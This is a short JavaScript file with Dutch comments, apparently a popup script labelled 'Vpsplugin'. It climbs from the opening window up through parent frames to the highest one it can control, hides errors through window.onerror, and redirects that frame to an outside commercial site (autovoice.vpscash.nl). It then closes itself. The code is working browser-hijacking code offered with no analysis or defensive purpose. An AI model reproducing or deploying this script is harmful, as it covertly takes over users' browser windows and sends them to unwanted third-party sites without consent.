var curFrame = window.opener; var counter = 0; function err(url, name, attr) { curFrame.location.href = 'http://autovoice.vpscash.nl//?nodial=1&p=&pi='; self.close(); return true; } function Vpsplugin(){ window.onerror = err; while (ref = curFrame.parent.location.href) { if(counter > 10){ break; } counter++; curFrame = curFrame.parent; thisDomain = curFrame.location.href.split('.'); parentDomain = ref.split('.'); if ( thisDomain[thisDomain.length - 2] != parentDomain[parentDomain.length - 2] ) { // domeinnamen tussen huidige frame en de parent verschillen -- dit is // de laatste frame in een frameset die we kunnen manipuleren // de 'current' variable bevat de hoogst gevonden frame break; } } curFrame.location.href = 'http://autovoice.vpscash.nl//?nodial=1&p=&pi='; window.close(); }